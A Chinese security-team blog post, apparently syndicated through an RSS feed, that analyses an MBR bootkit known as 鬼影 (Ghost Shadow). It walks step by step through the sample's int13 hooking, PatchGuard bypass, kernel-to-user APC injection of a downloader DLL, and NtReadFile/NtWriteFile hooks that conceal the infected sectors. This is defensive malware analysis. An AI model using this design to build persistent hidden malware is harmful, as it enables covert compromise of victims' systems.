src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p><br/></p><p><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="2650935219">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1b49239b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935219%26idx%3D1%26sn%3D1aebb157fb58abcf0813c822c76ace37%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Aug 2016 12:13:00 +0800</pubDate>
    </item>
    <item>
      <title>分析重装系统也无法清除的鬼影病毒</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935197&amp;idx=1&amp;sn=a4ca77cae6fe47af36f873bc8bf59ca3</link>
      <description>整理电脑的时候找到自已以前分析的一个鬼影病毒的资料，当时兼容市面上主要的windows系统（XP, win7,包含x86和x64系统）样本来自国外，有不少亮点，当时花了不少时间把所有原理分析出来并重新用汇编和C++实现了出来。</description>
      <content:encoded><![CDATA[<p>
<span>【原创】 expsky</span> <span>2016-07-26 08:42</span> <span style="display: inline-block;"></span>
</p>

<p>整理电脑的时候找到自已以前分析的一个鬼影病毒的资料，当时兼容市面上主要的windows系统（XP, win7,包含x86和x64系统）样本来自国外，有不少亮点，当时花了不少时间把所有原理分析出来并重新用汇编和C++实现了出来。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=576ac2fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBOj9dp4jMVMwb7pqcLj49Ben4NSWd9uFXYNl295ZTvOUcaZ5RPLfyzw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11870503597122302" data-w="" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal;"><section style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section class="aimeibian" data-ele="" style="line-height: 25.6px; max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="padding: 10px 10px 25px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; min-height: 1em; text-align: justify; box-sizing: border-box !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="line-height: 25.6px; white-space: pre-wrap;">声明：本文由【MS509 Team】成员expsky原创，仅用于技术交流分享，禁止将相关技术应用到不当途径。</span></strong></span></p></section></section><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-top: -20px; max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -25px; line-height: 25.6px; max-width: 100%; display: inline-block; width: 405px; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-left: 20px; max-width: 100%; float: left; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section></section><section style="margin-right: 20px; max-width: 100%; float: right; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="margin-bottom: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"></section><section style="margin-left: 9px; max-width: 100%; width: 6px; height: 40px; border-radius: 5px; transform: rotate(0deg); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(204, 204, 204);"></section><section style="margin-top: -3px; max-width: 100%; width: 25px; height: 7px; border-radius: 5px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(51, 51, 51);"><br/></section></section></section><section style="padding: 25px 10px 10px; max-width: 100%; box-sizing: border-box; border: 2px solid rgb(239, 159, 0); border-radius: 10px; word-wrap: break-word !important;"><p style="line-height: 25.6px;"><strong>整理电脑的时候找到自已以前分析的一个鬼影病毒的资料，当时兼容市面上主要的windows系统（XP, win7,包含x86和x64系统）样本来自国外，有不少亮点，当时花了不少时间把所有原理分析出来并重新用汇编和C++实现了出来。以前的一些资料简单整理了下，分享出来，也给自己以前的工作留个记录。</strong></p><p style="line-height: 25.6px;"><strong><br/></strong></p><p style="line-height: 25.6px;">该木马样本通过感染MBR达到早于系统得到执行。整个样本以非文件形式存在，直接写人磁盘扇区。包括感染的MBR以及保存在磁盘末尾非文件系统的payload。</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">木马执行流程从MBR开始，通过hook和注册回调函数的机制，将所有的木马程序在windows启动过程中逐级得到执行， windows启动完毕后最终将下载者dll注入到指定的系统进程中，下载者代码循环执行而告终。</p></section></section></section></section></section><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px; line-height: 25.6px; white-space: pre-wrap;">木马有</span><span style="line-height: 25.6px; white-space: pre-wrap; font-size: 20px;">亮点</span></h1></section></section></section></section></section></section><p><br/></p><pre class="lang:default decode:true" style="font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51);"><span style="font-size: 16px;"><span style="font-size: 16px; line-height: 25.6px; white-space: pre-wrap;">绕过windows的PatchGuard保护</span><br/><span style="font-size: 16px; line-height: 25.6px; white-space: pre-wrap;">兼容XP, win7（x86,x64）（bootkit型底层木马兼容不同系统是挺有挑战的）<br/><span style="line-height: 25.6px; white-space: pre-wrap;">自保护功能：感染木马后通过WinHex等工具查看到的MBR是正常的，而且无法修改被感染的MBR（不是简单的修改失败，而是会呈现MBR被修改成功的假象）</span><br/><span style="line-height: 25.6px; white-space: pre-wrap;">从内核态向用户态的指定系统进程注入下载者DLL（根据系统是32位还是64位，会注入相应的32位和64位版本的DLL）</span><br/><span style="line-height: 25.6px; white-space: pre-wrap;">启动过程中关闭指定进程</span></span></span></pre><p><em><span style="font-size: 16px;"><br/></span></em></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px; line-height: 25.6px; white-space: pre-wrap;"></span><span style="line-height: 25.6px; white-space: pre-wrap;">木马工作原理</span><span style="line-height: 25.6px; white-space: pre-wrap; font-size: 20px;"></span></h1></section></section></section></section></section></section><p style="line-height: 25.6px;"><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>1）木马植入程序运行后感染MBR和磁盘末尾未分区部分 （无文件，直接写入磁盘扇区）</strong></span></p><p><br/></p><p>感染的数据主要包括6个部分：</p><p><br/></p><p>感染的MBR；</p><p><br/></p><p>启动部分代码；</p><p><br/></p><p>x86驱动代码；x64驱动代码；</p><p><br/></p><p>x86下载者DLL；x64下载者DLL</p><p><br/></p><p>（前两部分未压缩，其他4部分进行了aPLib压缩）</p><p><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>2）重启电脑后感染的MBR接管执行：</strong></span></p><p><br/></p><p>a) 加载末尾20个扇区的前18个扇区（未压缩数据）到常规内存并执行</p><p><br/></p><p>b) 加载第19个扇区（原始MBR）到0x7C00</p><p><br/></p><p>c) 加载第20个扇区（配置信息：驱动、下载者代码的大小、payload所在扇区位置数据）到常规内存</p><p><br/></p><p>d) 调用Int15扫描常规内存，保存ARD结构体用于后续常规内存的分页扫描（查找ntoskrnl.exe映像）</p><p><br/></p><p>e) hook IVT表中int13向量（用于监控后续磁盘读操作）</p><p><br/></p><p>f) 跳转到0x7C00控制权转交原始MBR，系统继续启动</p><pre class="lang:default decode:true " style="font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51);"><span style="font-size: 16px;"><em><span style="line-height: 25.6px; white-space: pre-wrap;">ARD: AddressRange Descriptor Structure<br/><span style="line-height: 25.6px; white-space: pre-wrap;">+0：BaseAddrLow：基地址的低32位<br/><span style="line-height: 25.6px; white-space: pre-wrap;">+4：BaseAddrHigh：基地址的高32位</span><br/></span></span></em><em><span style="line-height: 25.6px; white-space: pre-wrap;">+8：LengthLow：长度（字节）的低32位<br/><span style="line-height: 25.6px; white-space: pre-wrap;">+12：LengthHigh：长度（字节）的高32位</span><br/><span style="line-height: 25.6px; white-space: pre-wrap;">+16：Type：这个地址范围的地址类型（1：AddressRangeMemory；2：?AddressRangeReserved；Other：Undefined）</span></span></em><em><span style="line-height: 25.6px; white-space: pre-wrap;"></span></em></span></pre><p><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>3）Int13钩子监视系统启动过程的读磁盘操作，当读取到kdcom.dll时接管执行（绕过PatchGuard的时机）</strong></span></p><p><br/></p><p>a）int13钩子根据读取文件的前0×200字节的校验值和PE特征码识别kdcom.dll，根据kdcom.dll PE的mechine字段判断系统为32位还是64位（32位和64位部分hook函数不同，整体流程一致）</p><p><br/></p><p>b）根据前面保存的ARD结构体扫描常规内存，找到ntoskrnl.exe基地址(根据文件hash值)，再根据ntoskrnl PE导出表hook函数IoCreateDriver（根据函数名hash值，64位系统hook MmMapIoSapce）</p><p><br/></p><p>c）控制权继续转交系统</p><p><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>4）IoCreateDriver钩子函数接管执行</strong></span></p><p><br/></p><p>a）先恢复IoCreateDriver钩子</p><p><br/></p><p>b）同前机制，根据ntoskrnl.exe基地址和PE导出表找到函数PsSetLoadImageNotifyRoutine</p><p><br/></p><p>c）调用PsSetLoadImageNotifyRoutine，注册回调函数</p><p><br/></p><p>d）控制权继续转交系统</p><p><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>5）系统加载模块时，上步PsSetLoadImageNotifyRoutine注册的回调函数接管执行</strong></span></p><p><br/></p><p>a）如前机制，得到NtReadFile，NtClose，NtOpenFile，ExAllocatePool函数指针</p><p><br/></p><p>b）申请8K内存，再打开Device\Harddisk0\Patition0，将驱动部分压缩数据读入其中</p><p><br/></p><p>c）申请0×3600字节内存，解压驱动数据到其中</p><p><br/></p><p>d）释放8K压缩数据内存，转入驱动代码部分执行</p><p><br/></p><p><span style="color: rgb(61, 170, 214);"><strong>6）驱动部分压缩数据解压后的执行</strong></span></p><p><br/></p><p>a）根据实际加载的内存地址，对驱动部分的常量进行重定位</p><p><br/></p><p>b）InstallProcessNotifyCallback注册回调函数，回调函数监控当创建的进程如包含在屏蔽进程列表中时，直接return</p><p><br/></p><p>c）PsSetLoadImageNotifyRoutine注册回调函数，当创建进程包含在注入进程列表中时注入下载者DLL</p><p><br/></p><p>d）Hook NtReadFile, NtWriteFile, 当尝试读写感染的MBR或磁盘末尾未分区处，都返回正常值，隐藏被感染迹象。同样写入数据到此部分也会做相应保护，不会真正写入，但会呈现已被写入的假象</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px; line-height: 25.6px; white-space: pre-wrap;"></span><span style="line-height: 25.6px; white-space: pre-wrap;">内核向用户态进程注入代码原理</span></h1></section></section></section></section></section></section><p><br/></p><p>通过KeInitializeApc、KeInsertQueueApc（未文档化函数）插入内核APC回调函数、ExQueueWorkItem插入WorkItem回调函数，附加用户进程，将注入代码复制到用户进程内存空间，最后通过一个用户APC指向注入代码，并异步得到执行。</p><p><br/></p><p>详细流程如下：</p><p><br/></p><p><span style="color: rgb(0, 122, 170);"><strong><span style="color: rgb(61, 170, 214);">1）PsSetLoadImageNotifyRoutine注册回调函数</span></strong></span></p><p><br/></p><p><span style="color: rgb(0, 122, 170);"><strong><span style="color: rgb(61, 170, 214);">2）任意进程加载模块时，上步注册的回调函数得到执行</span></strong></span></p><p><br/></p><p>调用FsRtlIsNameInExpression，判断加载的是kernel32.dll，是则继续执行，否则返回。（The FsRtlIsNameInExpressionroutine determines whether a Unicode string matches the specified pattern.）</p><p><br/></p><p><img data-w="" class="" data-type="jpeg" data-ratio="0.1420863309352518" src="https://wechat2rss.xlab.app/img-proxy/?k=fbd01e09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBWDJPoxfsNNrPdPrjKVTxQVfahrZcic7KIhMPqDC4JzgxZYdXuicwWF9Q%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>FsRtlAllocatePool申请0×34字节内核非分页内存，用于后续APC对象及回调参数。</p><p><br/></p><p>将kernel32.dll基址存入0×34字节的最后一个DWORD中（用于APC回调函数入参）</p><p><br/></p><p>调用KeGetCurrentThread得到当前线程对象（用于APC初始化的入参）</p><p><br/></p><p>调用KeInitializeApc、KeInsertQueueApc（未文档化函数）插入内核APC回调函数（执行后续流程）</p><p><br/></p><p><img data-w="" class="" data-type="jpeg" data-ratio="0.4460431654676259" src="https://wechat2rss.xlab.app/img-proxy/?k=5d7cf8df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBZA4jAhuss8QOaJiacqfgjQ9D47sqafYYaDltUNaK0CiaOsToZg5GTibVw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="color: rgb(0, 122, 170);"><strong>3）上步插入的内核APC函数异步执行</strong></span></p><p><br/></p><p>调用ExFreePool释放APC结构体内存</p><p><br/></p><p>FsRtlAllocatePool申请0×40字节非分页内核内存（用于后续EVENT对象、WORKITEM对象及其参数）</p><p><br/></p><p>调用KeGetCurrentThread、PsGetCurrentProcess、PsGetCurrentThreadProcessId得到进程对象，线程对象，PID（存入上面申请的内存中，作为参数传给ExQueueWorkItem插入的回调函数）</p><p><br/></p><p>调用KeInitializeEvent，用于同步，等待WorkItem执行完毕</p><p><br/></p><p>调用ExQueueWorkItem插入后续流程的回调函数</p><p><br/></p><p>调用KeWaitForMutexObject等待上面的WorkItem回调函数执行完毕</p><p><br/></p><p>调用ExFreePool释放上面申请的0×40字节内核内存</p><p><br/></p><p><img data-w="540" class="" data-type="jpeg" data-ratio="1.287037037037037" src="https://wechat2rss.xlab.app/img-proxy/?k=ce23f7c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBwP01Ef1USKnNoJqRReFdZFVWIoFD5ibs7vyib7ibyfgJEHN5RvO38ibR4w%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><strong><span style="color: rgb(0, 122, 170);">4）上步ExQueueWorkItem插入的回调函数执行</span></strong></p><p><br/></p><p>调用PsLookupProcessByProcessId得到EPROCESS</p><p><br/></p><p>调用PsGetProcessImageFileName通过EPROCESS得到进程文件名</p><p><br/></p><p>计算进程文件名的hash值与想要注入代码的进程列表做对比（包含在内继续执行，否则返回）</p><p><br/></p><p><img data-w="370" class="" data-type="jpeg" data-ratio="0.8702702702702703" src="https://wechat2rss.xlab.app/img-proxy/?k=0310854e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBiafNmJ0KQX5Hia84XGL2W2UwW103r95zOcicA4FR02qGr75iaIcFLDDakg%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>调用KeStackAttachProcess将当前线程附加到目标进程用户态地址空间</p><p><br/></p><p>配置入参数ClientId, ObjectAttributes后，调用ZwOpenProcess打开目标进程</p><p><br/></p><p><img data-w="" class="" data-type="jpeg" data-ratio="0.6384892086330936" src="https://wechat2rss.xlab.app/img-proxy/?k=6afb724d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBFOCYGz2tWTOnqUPuIkRadyRrYjeUHofxCOdOn49icRK7TknVLMBpDOA%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>调用ZwAllocateVirtualMemory申请目标进程用户态内存</p><p><br/></p><p>mov指令将内核中的注入代码拷贝到上步申请的用户态进程空间</p><p><br/></p><p><img data-w="" class="" data-type="jpeg" data-ratio="0.4442446043165468" src="https://wechat2rss.xlab.app/img-proxy/?k=28df1870&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBJwgwX2LxMUezM4C7YjJxyw6kgbrJoMgXGicIiaJW6nZtGCT15ibIpsYVw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>调用FsRtlAllocatePool申请0×30字节内核非分页内存用于APC对象</p><p><br/></p><p>调用KeInitializeApc，KeInsertQueueApc插入用户APC（注入代码在用户态进程执行）</p><p><br/></p><p><img data-w="" class="" data-type="jpeg" data-ratio="0.9154676258992805" src="https://wechat2rss.xlab.app/img-proxy/?k=b391b523&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EB29icjXia2pte2ULCQDfcIKfUoSWvGjaGyMrwv88QNlorNj7tEdy5jhnw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>调用ZwClose，KeUnstackDetachProcess，ObDereferenceObject释放资源</p><p><br/></p><p>末尾调用KeSetEvent设置事件，用于同步，通知WorkItem执行完毕</p><p><br/></p><p><img data-w="421" class="" data-type="jpeg" data-ratio="0.8931116389548693" src="https://wechat2rss.xlab.app/img-proxy/?k=39589785&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EBl1lSMcGtkGp0T03sHXBVEDbbw8KoGjXUpJCrTDBRDAnShhvZueEKTw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="color: rgb(0, 122, 170);"><strong>5）上步插入的用户APC异步得到执行（注入的代码在目标进程执行）</strong></span></p><p><br/></p><p>至此，完成了内核态向目标用户进程注入代码并得到执行</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px; line-height: 25.6px; white-space: pre-wrap;"></span><span style="line-height: 25.6px; white-space: pre-wrap;">自保护原理</span></h1></section></section></section></section></section></section><p><br/></p><p>木马自保护功能：当木马正常工作后，用WinHex等磁盘查看工具是看不到MBR及磁盘末尾被感染的迹象的，并且用工具对MBR或磁盘末尾进行修改后，呈现被改动的假象，但实际并未修改成功。木马代码依然存在在磁盘相应位置。</p><p><br/></p><p>通过hook NtReadFile和NtWriteFile两个函数实现的自保护功能</p><p><br/></p><p>当写数据到MBR或磁盘末尾处时，写入的数据存入内存而不真正写入磁盘，当读取磁盘MBR或末尾时，不真实读取，而用之前暂存的数据代替，呈现数据被写入的假象，实现自我保护</p><p><br/></p><p>内存0×20000（128k）</p><p><img data-s="300,640" data-type="png" data-w="" data-ratio="0.5359712230215827" src="https://wechat2rss.xlab.app/img-proxy/?k=777f9153&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD0Ehe6oQSyhSQwdD5b3D5EB4Qd9BvYr4hYS1HYcxqP3FWwdwgNzJ0RRXoDPe5JT7Nm4D74aJYev7w%2F0%3Fwx_fmt%3Dpng"/><br/></p><p><span style="color: rgb(0, 122, 170);"><strong>（1）NtWriteFile钩子函数</strong></span></p><p><br/></p><p>a）确认写入的数据是否在MBR处或磁盘末尾0xFC00处</p><p><br/></p><p>b）当向MBR写入数据时：将写入的数据保存到上表内存中0×400处（假MBR），以及更新0×200（原始MBR）和0×600（染后后MBR）的末尾0x4C的数据信息（只更新MBR中分区表等数据信息，而不改变MBR中的代码）；修改磁盘MBR处后0x4C的分区表等数据，修改磁盘倒数第2个扇区（备份的原始MBR）的后0x4C数据部分</p><p><br/></p><p>c）当向磁盘末尾0xFC00写入数据时：计算写入数据与末尾0xFC00的交叉情况，保存写入的数据到0×10400处（假的磁盘末尾数据）</p><p><br/></p><p><strong><span style="color: rgb(0, 122, 170);">（2）NtReadFile钩子函数</span></strong></p><p><br/></p><p>a）确认读取的数据是否在MBR处或磁盘末尾0xFC00处</p><p><br/></p><p>b）当读取MBR时，用上表中0×400处的假MBR代替</p><p><br/></p><p>c）当读取磁盘末尾时，用上表中0×10400处假数据代</p><p><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x04</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px; line-height: 25.6px; white-space: pre-wrap;"></span><span style="line-height: 25.6px; white-space: pre-wrap;"><span style="line-height: 25.6px; white-space: pre-wrap;">结语</span></span></h1></section></section></section></section></section></section><p><br/></p><p>这是几年前逆向分析的基于MBR的bootkit型样本（来自国外），运行相当稳定（也尝试过改造来从BIOS启动，但主板芯片的差异，以及植入BIOS的程序兼容性很难保证，最终稳定性不好）该样本当时未在国内传播，逆向老外的样本过程中发现各种细节处理的非常到位，师夷长技以自强 。^_^</p><p><br/></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">注：本文已由团队成员“expsky”2016-07-25 发布于“FreeBuf”</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: 